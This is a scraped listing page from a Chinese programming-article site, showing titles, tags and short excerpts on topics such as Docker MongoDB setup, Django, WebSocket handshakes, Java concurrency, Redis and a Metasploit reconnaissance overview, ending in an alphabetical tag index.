<div>我们知道,在计算机网络中,客户端和服务器端总是成对出现的。既然有Web服务器,就要有Web浏览器;既然有邮件服务器,就要有用于收发邮件的邮件客户端……没有服务器端,客户端发出的请求就得不到处理;反过来,没有客户端,再强大的服务器功能也没机会发挥作用。在这个人人互联、万物互联的网络时代,可能只有去一些小型餐饮店吃饭时,点菜依然不需要客户端——因为饭菜有餐馆的伙计端。只是一个冷笑话。客户端和服务器端就</div>
</li>
<li><a href="/article/1890021546676776960.htm"
title="build content" target="_blank">build content</a>
<span class="text-muted">hh2000</span>
<a class="tag" taget="_blank" href="/search/browser/1.htm">browser</a><a class="tag" taget="_blank" href="/search/build/1.htm">build</a><a class="tag" taget="_blank" href="/search/webkit/1.htm">webkit</a>
<div>webkitreleasesourcehttp:http://rpm.pbone.net/index.php3/stat/26/dist/63/size/10928262/name/webkit-0-0.25144.3mdv2008.0.src.rpmbuildsize</div>
</li>
<li><a href="/article/1890016505404387328.htm"
title="docker快速启动一个mongodb" target="_blank">docker快速启动一个mongodb</a>
<span class="text-muted">菜萝卜子</span>
<a class="tag" taget="_blank" href="/search/docker/1.htm">docker</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/docker/1.htm">docker</a><a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a><a class="tag" taget="_blank" href="/search/%E5%AE%B9%E5%99%A8/1.htm">容器</a>
<div>使用mongodb(bitnami)镜像docker-compose快速启动一个mongodb,用于调试学习还是不错的,还有一个mongo-express的web管理页面version:"3.9"services:mongodb:image:docker.io/bitnami/mongodb:7.0.14restart:alwayscontainer_name:mongodb7user:rootp</div>
</li>
<li><a href="/article/1890011969440772096.htm"
title="Svelte 最新中文文档翻译(7)—— snippet 与 @render" target="_blank">Svelte 最新中文文档翻译(7)—— snippet 与 @render</a>
<span class="text-muted"></span>
<div>前言Svelte,一个非常“有趣”、用起来“很爽”的前端框架。从Svelte诞生之初,就备受开发者的喜爱,根据统计,从2019年到2024年,连续6年一直是开发者最感兴趣的前端框架No.1:Svelte以其独特的编译时优化机制著称,具有轻量级、高性能、易上手等特性,非常适合构建轻量级Web项目,也是我做个人项目的首选技术栈。目前Svelte基于Svelte5发布了最新的官方文档,但却缺少对应的中文</div>
</li>
<li><a href="/article/1890010954939297792.htm"
title="【附源码】108个Python实战项目,练完能力飙升" target="_blank">【附源码】108个Python实战项目,练完能力飙升</a>
<span class="text-muted">小北画画</span>
<a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/pycharm/1.htm">pycharm</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a>
<div>学Python不实战是万万不能的,在这里整理了108个Python实战项目列表,都有完整且详细的教程,分享给大家。1.Python图片转字符画2.200行Python代码实现204813.Python3实现火车票查询工具4.高德API+Python解决租房问题5.IPython3色情图片识别6.Python破解验证码7.Python实现简单的web服务器8.Ipygame开发打飞机游戏9.Djan</div>
</li>
<li><a href="/article/1890006040074842112.htm"
title=".NET Core中使用HttpClient模拟form-data格式数据提交" target="_blank">.NET Core中使用HttpClient模拟form-data格式数据提交</a>
<span class="text-muted">步、步、为营</span>
<a class="tag" taget="_blank" href="/search/.netcore/1.htm">.netcore</a><a class="tag" taget="_blank" href="/search/microsoft/1.htm">microsoft</a><a class="tag" taget="_blank" href="/search/c%23/1.htm">c#</a><a class="tag" taget="_blank" href="/search/.net/1.htm">.net</a>
<div>一、引言在.NETCore开发的广阔天地里,与外部服务进行交互是极为常见的需求。而数据的传递作为交互的核心环节,其格式和方式的选择显得尤为重要。form-data格式作为一种在Web开发中广泛应用的数据编码类型,主要用于发送表单数据,其中既包含普通的文本字段,也支持文件上传,这一特性使其在众多场景中都扮演着关键角色。想象一下,在一个在线办公系统中,用户需要上传一份重要的项目文档,并附带一些关于文档</div>
</li>
<li><a href="/article/1890005662038028288.htm"
title="Metasploit信息收集:全面掌握网络安全渗透测试" target="_blank">Metasploit信息收集:全面掌握网络安全渗透测试</a>
<span class="text-muted">小宇python</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a>
<div>Metasploit信息收集:全面掌握网络安全渗透测试在网络安全领域,信息收集是渗透测试的首要步骤。通过细致的信息收集,渗透测试人员可以了解目标网络的架构、配置和潜在弱点。本文将详细介绍如何使用Metasploit框架进行信息收集,包括基于TCP、SNMP、SMB、SSH和FTP协议的扫描技术。1.基于TCP协议收集主机信息1.1使用nmap和arp_sweep收集信息Metasploit内置了N</div>
</li>
<li><a href="/article/1889975282199228416.htm"
title="flask和django的对比" target="_blank">flask和django的对比</a>
<span class="text-muted">dev.null</span>
<a class="tag" taget="_blank" href="/search/Python/1.htm">Python</a><a class="tag" taget="_blank" href="/search/flask/1.htm">flask</a><a class="tag" taget="_blank" href="/search/django/1.htm">django</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a>
<div>Flask和Django都是流行的PythonWeb框架,尽管它们都用于构建Web应用,但它们的设计理念和使用场景有所不同。以下是它们之间的一些对比:1.框架类型Flask:微框架(Micro-framework),意味着它提供的是最基础的功能,其他功能(如数据库支持、身份验证等)需要通过第三方插件来扩展。Django:全栈框架(Full-stackframework),提供了很多内建的功能,如O</div>
</li>
<li><a href="/article/1889970620616208384.htm"
title="青少年编程与数学 02-009 Django 5 Web 编程 08课题、数据库操作" target="_blank">青少年编程与数学 02-009 Django 5 Web 编程 08课题、数据库操作</a>
<span class="text-muted">明月看潮生</span>
<a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B%E4%B8%8E%E6%95%B0%E5%AD%A6/1.htm">编程与数学</a><a class="tag" taget="_blank" href="/search/%E7%AC%AC02%E9%98%B6%E6%AE%B5/1.htm">第02阶段</a><a class="tag" taget="_blank" href="/search/%E9%9D%92%E5%B0%91%E5%B9%B4%E7%BC%96%E7%A8%8B/1.htm">青少年编程</a><a class="tag" taget="_blank" href="/search/django/1.htm">django</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B%E4%B8%8E%E6%95%B0%E5%AD%A6/1.htm">编程与数学</a>
<div>青少年编程与数学02-009Django5Web编程08课题、数据库操作一、数据操作1.创建记录2.查询记录3.更新记录4.删除记录5.聚合与注解二、创建记录1.定义模型2.迁移模型到数据库3.使用模型创建记录方法一:实例化模型并调用`save()`方法二:使用`create()`方法方法三:使用`bulk_create()`批量创建注意事项三、查询记录基本查询方法获取所有记录过滤记录获取单个记录</div>
</li>
<li><a href="/article/1889966965611622400.htm"
title="WebSocket连接是如何建立的,WebSocket的握手过程。" target="_blank">WebSocket连接是如何建立的,WebSocket的握手过程。</a>
<span class="text-muted">大龙Java</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/websocket/1.htm">websocket</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE/1.htm">网络协议</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a>
<div>WebSocket的连接是基于HTTP协议的握手过程建立的,这个过程包括了客户端与服务器之间的一次HTTP请求和响应,以便将传统的HTTP协议“升级”到WebSocket协议。WebSocket握手的关键在于客户端请求中包含了特殊的头信息,服务器回应确认后,连接才能正式建立。WebSocket握手过程的步骤1.客户端发送WebSocket请求(握手请求)WebSocket握手从客户端发起。客户端使</div>
</li>
<li><a href="/article/1889963815949365248.htm"
title="C#对FTP服务器操作类" target="_blank">C#对FTP服务器操作类</a>
<span class="text-muted">want fly</span>
<a class="tag" taget="_blank" href="/search/c%23%E4%B8%8A%E4%BD%8D%E6%9C%BA%E5%AD%A6%E4%B9%A0/1.htm">c#上位机学习</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/c%23/1.htm">c#</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
<div>要在WinForms应用程序中像访问本地文件夹一样访问FTP服务器上的文件夹,可以通过以下步骤实现:1.使用FTP访问远程服务器你需要使用FtpWebRequest类来访问FTP服务器,并进行文件/文件夹的列表、上传和下载操作。2.显示目录结构可以使用TreeView控件来显示FTP服务器的目录结构,并使用ListView控件来显示文件。通过与FTP服务器的连接,可以列出文件夹和文件,就像浏览本地</div>
</li>
<li><a href="/article/1889963185126043648.htm"
title="深度学习-情感分析" target="_blank">深度学习-情感分析</a>
<span class="text-muted">小赖同学啊</span>
<a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a>
<div>以下将分别使用PyTorch和TensorFlow框架实现基于深度学习的情感分析,这里以影评的情感分析为例,数据集使用IMDB影评数据集。使用PyTorch实现1.安装必要的库pipinstalltorchtorchtextspacypython-mspacydownloaden_core_web_sm2.代码实现importtorchimporttorch.nnasnnimporttorch.o</div>
</li>
<li><a href="/article/1889963057728253952.htm"
title="Java与Python的集成与性能对比研究" target="_blank">Java与Python的集成与性能对比研究</a>
<span class="text-muted">向哆哆</span>
<a class="tag" taget="_blank" href="/search/Java%E5%85%A5%E9%97%A8%E5%88%B0%E7%B2%BE%E9%80%9A/1.htm">Java入门到精通</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
<div>Java与Python的集成与性能对比研究随着科技的不断进步,Java和Python这两种编程语言在不同领域得到了广泛应用。Java凭借其高性能、平台独立性和庞大的生态系统,广泛应用于企业级应用、Web开发和大数据处理等领域。而Python因其简洁易学、灵活性强,在数据科学、人工智能和快速原型开发方面具有显著优势。虽然这两种语言在设计上有很大的差异,但它们可以通过多种方式进行集成,结合各自的优势,</div>
</li>
<li><a href="/article/72.htm"
title="Java开发中,spring mvc 的线程怎么调用?" target="_blank">Java开发中,spring mvc 的线程怎么调用?</a>
<span class="text-muted">小麦麦子</span>
<a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/mvc/1.htm">mvc</a>
<div>今天逛知乎,看到最近很多人都在问spring mvc 的线程http://www.maiziedu.com/course/java/ 的启动问题,觉得挺有意思的,那哥们儿问的也听仔细,下面的回答也很详尽,分享出来,希望遇对遇到类似问题的Java开发程序猿有所帮助。
问题:
在用spring mvc架构的网站上,设一线程在虚拟机启动时运行,线程里有一全局</div>
</li>
<li><a href="/article/199.htm"
title="maven依赖范围" target="_blank">maven依赖范围</a>
<span class="text-muted">bitcarter</span>
<a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a>
<div>1.test 测试的时候才会依赖,编译和打包不依赖,如junit不被打包
2.compile 只有编译和打包时才会依赖
3.provided 编译和测试的时候依赖,打包不依赖,如:tomcat的一些公用jar包
4.runtime 运行时依赖,编译不依赖
5.默认compile
依赖范围compile是支持传递的,test不支持传递
1.传递的意思是项目A,引用</div>
</li>
<li><a href="/article/326.htm"
title="Jaxb org.xml.sax.saxparseexception : premature end of file" target="_blank">Jaxb org.xml.sax.saxparseexception : premature end of file</a>
<span class="text-muted">darrenzhu</span>
<a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a><a class="tag" taget="_blank" href="/search/premature/1.htm">premature</a><a class="tag" taget="_blank" href="/search/JAXB/1.htm">JAXB</a>
<div>如果在使用JAXB把xml文件unmarshal成vo(XSD自动生成的vo)时碰到如下错误:
org.xml.sax.saxparseexception : premature end of file
很有可能时你直接读取文件为inputstream,然后将inputstream作为构建unmarshal需要的source参数。InputSource inputSource = new In</div>
</li>
<li><a href="/article/453.htm"
title="CSS Specificity" target="_blank">CSS Specificity</a>
<span class="text-muted">周凡杨</span>
<a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/%E6%9D%83%E9%87%8D/1.htm">权重</a><a class="tag" taget="_blank" href="/search/Specificity/1.htm">Specificity</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a>
<div>
有时候对于页面元素设置了样式,可为什么页面的显示没有匹配上呢? because specificity
CSS 的选择符是有权重的,当不同的选择符的样式设置有冲突时,浏览器会采用权重高的选择符设置的样式。
规则:
HTML标签的权重是1
Class 的权重是10
Id 的权重是100
</div>
</li>
<li><a href="/article/580.htm"
title="java与servlet" target="_blank">java与servlet</a>
<span class="text-muted">g21121</span>
<a class="tag" taget="_blank" href="/search/servlet/1.htm">servlet</a>
<div>servlet 搞java web开发的人一定不会陌生,而且大家还会时常用到它。
下面是java官方网站上对servlet的介绍: java官网对于servlet的解释 写道
Java Servlet Technology Overview Servlets are the Java platform technology of choice for extending and enha</div>
</li>
<li><a href="/article/707.htm"
title="eclipse中安装maven插件" target="_blank">eclipse中安装maven插件</a>
<span class="text-muted">510888780</span>
<a class="tag" taget="_blank" href="/search/eclipse/1.htm">eclipse</a><a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a>
<div>1.首先去官网下载 Maven:
http://www.apache.org/dyn/closer.cgi/maven/binaries/apache-maven-3.2.3-bin.tar.gz
下载完成之后将其解压,
我将解压后的文件夹:apache-maven-3.2.3,
并将它放在 D:\tools目录下,
即 maven 最终的路径是:D:\tools\apache-mave</div>
</li>
<li><a href="/article/834.htm"
title="jpa@OneToOne关联关系" target="_blank">jpa@OneToOne关联关系</a>
<span class="text-muted">布衣凌宇</span>
<a class="tag" taget="_blank" href="/search/jpa/1.htm">jpa</a>
<div>Nruser里的pruserid关联到Pruser的主键id,实现对一个表的增删改,另一个表的数据随之增删改。
Nruser实体类
//*****************************************************************
@Entity
@Table(name="nruser")
@DynamicInsert @Dynam</div>
</li>
<li><a href="/article/961.htm"
title="我的spring学习笔记11-Spring中关于声明式事务的配置" target="_blank">我的spring学习笔记11-Spring中关于声明式事务的配置</a>
<span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/%E4%BA%8B%E5%8A%A1/1.htm">事务</a><a class="tag" taget="_blank" href="/search/%E9%85%8D%E7%BD%AE/1.htm">配置</a>
<div>这两天学到事务管理这一块,结合到之前的terasoluna框架,觉得书本上讲的还是简单阿。我就把我从书本上学到的再结合实际的项目以及网上看到的一些内容,对声明式事务管理做个整理吧。我看得Spring in Action第二版中只提到了用TransactionProxyFactoryBean和<tx:advice/>,定义注释驱动这三种,我承认后两种的内容很好,很强大。但是实际的项目当中</div>
</li>
<li><a href="/article/1088.htm"
title="java 动态代理简单实现" target="_blank">java 动态代理简单实现</a>
<span class="text-muted">antlove</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/handler/1.htm">handler</a><a class="tag" taget="_blank" href="/search/proxy/1.htm">proxy</a><a class="tag" taget="_blank" href="/search/dynamic/1.htm">dynamic</a><a class="tag" taget="_blank" href="/search/service/1.htm">service</a>
<div>dynamicproxy.service.HelloService
package dynamicproxy.service;
public interface HelloService {
public void sayHello();
}
dynamicproxy.service.impl.HelloServiceImpl
package dynamicp</div>
</li>
<li><a href="/article/1215.htm"
title="JDBC连接数据库" target="_blank">JDBC连接数据库</a>
<span class="text-muted">百合不是茶</span>
<a class="tag" taget="_blank" href="/search/JDBC%E7%BC%96%E7%A8%8B/1.htm">JDBC编程</a><a class="tag" taget="_blank" href="/search/JAVA%E6%93%8D%E4%BD%9Coracle%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">JAVA操作oracle数据库</a>
<div>
如果我们要想连接oracle公司的数据库,就要首先下载oralce公司的驱动程序,将这个驱动程序的jar包导入到我们工程中;
JDBC链接数据库的代码和固定写法;
1,加载oracle数据库的驱动;
&nb</div>
</li>
<li><a href="/article/1342.htm"
title="单例模式中的多线程分析" target="_blank">单例模式中的多线程分析</a>
<span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/thread/1.htm">thread</a><a class="tag" taget="_blank" href="/search/%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">多线程</a><a class="tag" taget="_blank" href="/search/java%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">java多线程</a>
<div>谈到单例模式,我们立马会想到饿汉式和懒汉式加载,所谓饿汉式就是在创建类时就创建好了实例,懒汉式在获取实例时才去创建实例,即延迟加载。
饿汉式:
package com.bijian.study;
public class Singleton {
private Singleton() {
}
// 注意这是private 只供内部调用
private static</div>
</li>
<li><a href="/article/1469.htm"
title="javascript读取和修改原型特别需要注意原型的读写不具有对等性" target="_blank">javascript读取和修改原型特别需要注意原型的读写不具有对等性</a>
<span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/prototype/1.htm">prototype</a>
<div> 对于从原型对象继承而来的成员,其读和写具有内在的不对等性。比如有一个对象A,假设它的原型对象是B,B的原型对象是null。如果我们需要读取A对象的name属性值,那么JS会优先在A中查找,如果找到了name属性那么就返回;如果A中没有name属性,那么就到原型B中查找name,如果找到了就返回;如果原型B中也没有</div>
</li>
<li><a href="/article/1596.htm"
title="【持久化框架MyBatis3六】MyBatis3集成第三方DataSource" target="_blank">【持久化框架MyBatis3六】MyBatis3集成第三方DataSource</a>
<span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/dataSource/1.htm">dataSource</a>
<div>MyBatis内置了数据源的支持,如:
<environments default="development">
<environment id="development">
<transactionManager type="JDBC" />
<data</div>
</li>
<li><a href="/article/1723.htm"
title="我程序中用到的urldecode和base64decode,MD5" target="_blank">我程序中用到的urldecode和base64decode,MD5</a>
<span class="text-muted">bitcarter</span>
<a class="tag" taget="_blank" href="/search/c/1.htm">c</a><a class="tag" taget="_blank" href="/search/MD5/1.htm">MD5</a><a class="tag" taget="_blank" href="/search/base64decode/1.htm">base64decode</a><a class="tag" taget="_blank" href="/search/urldecode/1.htm">urldecode</a>
<div>这里是base64decode和urldecode,Md5在附件中。因为我是在后台所以需要解码:
string Base64Decode(const char* Data,int DataByte,int& OutByte)
{
//解码表
const char DecodeTable[] =
{
0, 0, 0, 0, 0, 0</div>
</li>
<li><a href="/article/1850.htm"
title="腾讯资深运维专家周小军:QQ与微信架构的惊天秘密" target="_blank">腾讯资深运维专家周小军:QQ与微信架构的惊天秘密</a>
<span class="text-muted">ronin47</span>
<div>社交领域一直是互联网创业的大热门,从PC到移动端,从OICQ、MSN到QQ。到了移动互联网时代,社交领域应用开始彻底爆发,直奔黄金期。腾讯在过去几年里,社交平台更是火到爆,QQ和微信坐拥几亿的粉丝,QQ空间和朋友圈各种刷屏,写心得,晒照片,秀视频,那么谁来为企鹅保驾护航呢?支撑QQ和微信海量数据背后的架构又有哪些惊天内幕呢?本期大讲堂的内容来自今年2月份ChinaUnix对腾讯社交网络运营服务中心</div>
</li>
<li><a href="/article/1977.htm"
title="java-69-旋转数组的最小元素。把一个数组最开始的若干个元素搬到数组的末尾,我们称之为数组的旋转。输入一个排好序的数组的一个旋转,输出旋转数组的最小元素" target="_blank">java-69-旋转数组的最小元素。把一个数组最开始的若干个元素搬到数组的末尾,我们称之为数组的旋转。输入一个排好序的数组的一个旋转,输出旋转数组的最小元素</a>
<span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
<div>
public class MinOfShiftedArray {
/**
* Q69 旋转数组的最小元素
* 把一个数组最开始的若干个元素搬到数组的末尾,我们称之为数组的旋转。输入一个排好序的数组的一个旋转,输出旋转数组的最小元素。
* 例如数组{3, 4, 5, 1, 2}为{1, 2, 3, 4, 5}的一个旋转,该数组的最小值为1。
*/
publ</div>
</li>
<li><a href="/article/2104.htm"
title="看博客,应该是有方向的" target="_blank">看博客,应该是有方向的</a>
<span class="text-muted">Cb123456</span>
<a class="tag" taget="_blank" href="/search/%E5%8F%8D%E7%9C%81/1.htm">反省</a><a class="tag" taget="_blank" href="/search/%E7%9C%8B%E5%8D%9A%E5%AE%A2/1.htm">看博客</a>
<div>看博客,应该是有方向的:
我现在就复习以前的,在补补以前不会的,现在还不会的,同时完善完善项目,也看看别人的博客.
我刚突然想到的:
1.应该看计算机组成原理,数据结构,一些算法,还有关于android,java的。
2.对于我,也快大四了,看一些职业规划的,以及一些学习的经验,看看别人的工作总结的.
为什么要写</div>
</li>
<li><a href="/article/2231.htm"
title="[开源与商业]做开源项目的人生活上一定要朴素,尽量减少对官方和商业体系的依赖" target="_blank">[开源与商业]做开源项目的人生活上一定要朴素,尽量减少对官方和商业体系的依赖</a>
<span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE/1.htm">开源项目</a>
<div>
为什么这样说呢? 因为科学和技术的发展有时候需要一个平缓和长期的积累过程,但是行政和商业体系本身充满各种不稳定性和不确定性,如果你希望长期从事某个科研项目,但是却又必须依赖于某种行政和商业体系,那其中的过程必定充满各种风险。。。
所以,为避免这种不确定性风险,我</div>
</li>
<li><a href="/article/2358.htm"
title="一个 sql优化 ([精华] 一个查询优化的分析调整全过程!很值得一看 )" target="_blank">一个 sql优化 ([精华] 一个查询优化的分析调整全过程!很值得一看 )</a>
<span class="text-muted">cwqcwqmax9</span>
<a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a>
<div>见 http://www.itpub.net/forum.php?mod=viewthread&tid=239011
Web翻页优化实例
提交时间: 2004-6-18 15:37:49 回复 发消息
环境:
Linux ve</div>
</li>
<li><a href="/article/2485.htm"
title="Hibernat and Ibatis" target="_blank">Hibernat and Ibatis</a>
<span class="text-muted">dashuaifu</span>
<a class="tag" taget="_blank" href="/search/Hibernate/1.htm">Hibernate</a><a class="tag" taget="_blank" href="/search/ibatis/1.htm">ibatis</a>
<div>Hibernate VS iBATIS 简介 Hibernate 是当前最流行的O/R mapping框架,当前版本是3.05。它出身于sf.net,现在已经成为Jboss的一部分了 iBATIS 是另外一种优秀的O/R mapping框架,当前版本是2.0。目前属于apache的一个子项目了。 相对Hibernate“O/R”而言,iBATIS 是一种“Sql Mappi</div>
</li>
<li><a href="/article/2612.htm"
title="备份MYSQL脚本" target="_blank">备份MYSQL脚本</a>
<span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a>
<div>#!/bin/sh
# this shell to backup mysql
#1413161683@qq.com (QQ:1413161683 DuChengJiu)
_dbDir=/var/lib/mysql/
_today=`date +%w`
_bakDir=/usr/backup/$_today
[ ! -d $_bakDir ] && mkdir -p </div>
</li>
<li><a href="/article/2739.htm"
title="iOS第三方开源库的吐槽和备忘" target="_blank">iOS第三方开源库的吐槽和备忘</a>
<span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/ios/1.htm">ios</a>
<div>转自
ibireme的博客 做iOS开发总会接触到一些第三方库,这里整理一下,做一些吐槽。 目前比较活跃的社区仍旧是Github,除此以外也有一些不错的库散落在Google Code、SourceForge等地方。由于Github社区太过主流,这里主要介绍一下Github里面流行的iOS库。 首先整理了一份
Github上排名靠</div>
</li>
<li><a href="/article/2866.htm"
title="html wlwmanifest.xml" target="_blank">html wlwmanifest.xml</a>
<span class="text-muted">eoems</span>
<a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a>
<div>所谓优化wp_head()就是把从wp_head中移除不需要元素,同时也可以加快速度。
步骤:
加入到function.php
remove_action('wp_head', 'wp_generator');
//wp-generator移除wordpress的版本号,本身blog的版本号没什么意义,但是如果让恶意玩家看到,可能会用官网公布的漏洞攻击blog
remov</div>
</li>
<li><a href="/article/2993.htm"
title="浅谈Java定时器发展" target="_blank">浅谈Java定时器发展</a>
<span class="text-muted">hacksin</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%B9%B6%E5%8F%91/1.htm">并发</a><a class="tag" taget="_blank" href="/search/timer/1.htm">timer</a><a class="tag" taget="_blank" href="/search/%E5%AE%9A%E6%97%B6%E5%99%A8/1.htm">定时器</a>
<div>java在jdk1.3中推出了定时器类Timer,而后在jdk1.5后由Dou Lea从新开发出了支持多线程的ScheduleThreadPoolExecutor,从后者的表现来看,可以考虑完全替代Timer了。
Timer与ScheduleThreadPoolExecutor对比:
1.
Timer始于jdk1.3,其原理是利用一个TimerTask数组当作队列</div>
</li>
<li><a href="/article/3120.htm"
title="移动端页面侧边导航滑入效果" target="_blank">移动端页面侧边导航滑入效果</a>
<span class="text-muted">ini</span>
<a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a><a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/html5/1.htm">html5</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/javascirpt/1.htm">javascirpt</a>
<div>效果体验:http://hovertree.com/texiao/mobile/2.htm可以使用移动设备浏览器查看效果。效果使用到jquery-2.1.4.min.js,该版本的jQuery库是用于支持HTML5的浏览器上,不再兼容IE8以前的浏览器,现在移动端浏览器一般都支持HTML5,所以使用该jQuery没问题。HTML文件代码:
<!DOCTYPE html>
<h</div>
</li>
<li><a href="/article/3247.htm"
title="AspectJ+Javasist记录日志" target="_blank">AspectJ+Javasist记录日志</a>
<span class="text-muted">kane_xie</span>
<a class="tag" taget="_blank" href="/search/aspectj/1.htm">aspectj</a><a class="tag" taget="_blank" href="/search/javasist/1.htm">javasist</a>
<div>在项目中碰到这样一个需求,对一个服务类的每一个方法,在方法开始和结束的时候分别记录一条日志,内容包括方法名,参数名+参数值以及方法执行的时间。
@Override
public String get(String key) {
// long start = System.currentTimeMillis();
// System.out.println("Be</div>
</li>
<li><a href="/article/3374.htm"
title="redis学习笔记" target="_blank">redis学习笔记</a>
<span class="text-muted">MJC410621</span>
<a class="tag" taget="_blank" href="/search/redis/1.htm">redis</a><a class="tag" taget="_blank" href="/search/NoSQL/1.htm">NoSQL</a>
<div>1)nosql数据库主要由以下特点:非关系型的、分布式的、开源的、水平可扩展的。
1,处理超大量的数据
2,运行在便宜的PC服务器集群上,
3,击碎了性能瓶颈。
1)对数据高并发读写。
2)对海量数据的高效率存储和访问。
3)对数据的高扩展性和高可用性。
redis支持的类型:
Sring 类型
set name lijie
get name lijie
set na</div>
</li>
<li><a href="/article/3501.htm"
title="使用redis实现分布式锁" target="_blank">使用redis实现分布式锁</a>
<span class="text-muted">qifeifei</span>
<div>在多节点的系统中,如何实现分布式锁机制,其中用redis来实现是很好的方法之一,我们先来看一下jedis包中,有个类名BinaryJedis,它有个方法如下:
public Long setnx(final byte[] key, final byte[] value) {
checkIsInMulti();
client.setnx(key, value);
ret</div>
</li>
<li><a href="/article/3628.htm"
title="BI并非万能,中层业务管理报表要另辟蹊径" target="_blank">BI并非万能,中层业务管理报表要另辟蹊径</a>
<span class="text-muted">张老师的菜</span>
<a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%95%B0%E6%8D%AE/1.htm">大数据</a><a class="tag" taget="_blank" href="/search/BI/1.htm">BI</a><a class="tag" taget="_blank" href="/search/%E5%95%86%E4%B8%9A%E6%99%BA%E8%83%BD/1.htm">商业智能</a><a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E5%8C%96/1.htm">信息化</a>
<div> BI是商业智能的缩写,是可以帮助企业做出明智的业务经营决策的工具,其数据来源于各个业务系统,如ERP、CRM、SCM、进销存、HER、OA等。
BI系统不同于传统的管理信息系统,他号称是一个整体应用的解决方案,是融入管理思想的强大系统:有着系统整体的设计思想,支持对所有</div>
</li>
<li><a href="/article/3755.htm"
title="安装rvm后出现rvm not a function 或者ruby -v后提示没安装ruby的问题" target="_blank">安装rvm后出现rvm not a function 或者ruby -v后提示没安装ruby的问题</a>
<span class="text-muted">wudixiaotie</span>
<a class="tag" taget="_blank" href="/search/function/1.htm">function</a>
<div>1.在~/.bashrc最后加入
[[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm"
2.重新启动terminal输入:
rvm use ruby-2.2.1 --default
把当前安装的ruby版本设为默</div>
</li>
</ul>
</div>
</div>
</div>
<div>
<div class="container">
<div class="indexes">
<strong>按字母分类:</strong>
<a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
